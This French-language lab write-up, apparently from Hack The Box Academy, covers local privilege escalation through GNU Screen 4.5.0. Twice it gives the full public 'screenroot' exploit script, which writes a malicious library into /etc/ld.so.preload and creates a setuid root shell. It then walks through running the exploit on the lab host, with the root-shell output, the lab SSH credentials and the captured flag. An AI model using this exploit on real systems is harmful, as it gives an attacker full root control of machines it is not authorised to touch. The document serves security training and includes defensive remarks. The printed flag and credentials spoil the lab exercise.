# Vulnerable Services

De nombreux services peuvent présenter des failles exploitables pour réaliser une élévation de privilèges. Un exemple concret est le multiplexeur de terminal **Screen**. La version 4.5.0 souffre d'une vulnérabilité d'élévation de privilèges liée à l'absence d'une vérification des permissions lors de l'ouverture d'un fichier de log.

***

### 🌐 Identification de la version de Screen

Pour identifier la version de `screen` installée :

**⚙️ Commande**

```bash
screen -v
```

> Si la version correspond à celle vulnérable (ex. 4.05.00 ou 4.5.0 selon les builds), l'attaquant peut tirer parti d'un comportement qui permet de tronquer n'importe quel fichier ou de créer un fichier appartenant à `root` dans un répertoire arbitraire, menant potentiellement à un accès root complet.

***

### 🌐 Élévation de privilèges via un exploit Screen

Un exploit public montre comment abuser du comportement de `screen` pour écrire dans `/etc/ld.so.preload` et forcer le chargement d'une bibliothèque partagée malveillante, laquelle crée ensuite un binaire setuid root. L'exploit typique suit ces étapes :

1. Créer une bibliothèque partagée malveillante qui, via un constructeur, change le propriétaire et les permissions d'un shell local (`/tmp/rootshell`) et supprime `/etc/ld.so.preload`.
2. Compiler un binaire shell qui lorsqu'il est exécuté élève les identifiants effectifs (setuid(0), setgid(0)) et lance `/bin/sh`.
3. Profiter du comportement de `screen` (log + nom de fichier contrôlable via wildcard/arguments) pour écrire le chemin de la bibliothèque malveillante dans `/etc/ld.so.preload`.
4. Lancer `screen` (setuid) pour déclencher le chargement de la bibliothèque et obtenir le binaire setuid root.

**⚙️ Commande (exécution de l'exploit fourni)**

```bash
./screen_exploit.sh
```

***

### 🌐 Preuve de concept — Screen\_Exploit\_POC.sh

Ci‑dessous le script utilisé pour réaliser l'élévation de privilèges (conserver tel quel pour étude). **Ne pas exécuter sur des systèmes de production ou sans autorisation**.

**⚙️ Script (bash)**

```bash
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```

> Ce script illustre précisément la chaîne d'exploitation : création d'une bibliothèque malveillante, écriture dans `/etc/ld.so.preload` via `screen`, puis exécution du shell racine.

***

### 🌐 Remarques de défense

* Mettre à jour `screen` vers une version corrigée ou appliquer les correctifs fournis par la distribution.
* Supprimer le bit `setuid` sur le binaire `screen` lorsque cela est possible ou contrôler strictement les permissions et propriétaires.
* Restreindre la création et l'écriture de fichiers dans les répertoires utilisés par `screen` (ex. `/run/screen`, logs) et surveiller les modifications de `/etc/ld.so.preload`.
* Surveiller les activités de compilation (gcc) et la création de bibliothèques temporaires dans `/tmp`.

***

### 📚 Ressources utiles

* [Discussion du bug et preuve sur la liste de diffusion screen-devel](https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html)

***

{% hint style="info" %}
SSH to 10.129.70.78 (ACADEMY-LPE-NIX02) with user "htb-student" and password "Academy\_LLPE!"
{% endhint %}

> Connect to the target system and escalate privileges using the Screen exploit. Submit the contents of the flag.txt file in the /root/screen\_exploit directory.

Nous nous connectons dans un premier temps à notre cible :&#x20;

```bash
ssh htb-student@10.129.70.78
```

Une fois connectés, nous osbervons la version actuelle de ***screen*** :&#x20;

```bash
htb-student@NIX02:~$ screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
```

{% hint style="info" %}
La version 4.5.0 souffre d'une vulnérabilité d'élévation de privilèges due à l'absence de vérification des autorisations lors de l'ouverture d'un fichier journal.
{% endhint %}

Nous allons donc exploiter la vunlérabilité présente sur ***screen.***

Pour se faire, nous créons le fichier ***exploit.sh*** :&#x20;

```bash
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c -Wno-implicit-function-declaration
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```

Une fois le fichier créé, nous luis attribuons les droits nécessaires avant de l'exécuter :&#x20;

```bash
chmod +x exploit.sh
./exploit.sh
```

Une fois l'exploit exécuté, nous pouvons voir que nous sommes connectés en tant que ***root*** sur notre cible :&#x20;

```bash
htb-student@NIX02:~$ ./exploit.sh 
~ gnu/screenroot ~
[+] First, we create our shell and library...
/usr/bin/ld: cannot open output file /tmp/rootshell: Permission denied
collect2: error: ld returned 1 exit status
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /run/screen/S-htb-student.

# id
uid=0(root) gid=0(root) groups=0(root),1008(htb-student)
```

Nous activons un shell interactif afin de rendre l'expérience meilleure :&#x20;

```bash
# Upgrade vers un shell interactif
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Nous nous rendons donc dans le répertoire associé à notre challenge afin de récupérer le flag :&#x20;

```sh
root@NIX02:/etc# cd /root/
root@NIX02:/root# ls
cron_abuse  kernel_exploit  ld_preload  screen_exploit
root@NIX02:/root# cat screen_exploit/flag.txt 
91927dad55ffd22825660da88f2f92e0
```

Nous obtenons ainsi le flag :&#x20;

```
91927dad55ffd22825660da88f2f92e0
```

***
